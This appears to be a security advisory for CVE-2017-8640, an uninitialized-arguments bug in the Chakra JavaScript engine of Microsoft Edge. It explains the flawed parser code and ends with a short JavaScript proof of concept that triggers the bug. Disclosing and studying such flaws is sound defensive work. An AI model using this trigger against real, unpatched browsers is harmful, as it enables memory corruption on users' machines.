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Microsoft Edge Chakra Uninitialized Arguments

Posted on 17 August 2017

Microsoft Edge: Chakra: Uninitialized arguments

CVE-2017-8640

Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
tokens declarationType, charcount_t ichMin,
BOOL fAllowIn/* = TRUE*/,
BOOL* pfForInOk/* = nullptr*/,
BOOL singleDefOnly/* = FALSE*/,
BOOL allowInit/* = TRUE*/,
BOOL isTopVarParse/* = TRUE*/,
BOOL isFor/* = FALSE*/,
BOOL* nativeForOk /*= nullptr*/)
{
...
if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
{
// This var declaration may change the way an 'arguments' identifier in the function is resolved
if (declarationType == tkVAR)
{
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
}
else
{
if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
{
// Only override arguments if we are at the function block level.
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
}
}
}
...
}

"m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized.

PoC:
function f() {
({a = () => {
let arguments;
}} = 1);

arguments.x;
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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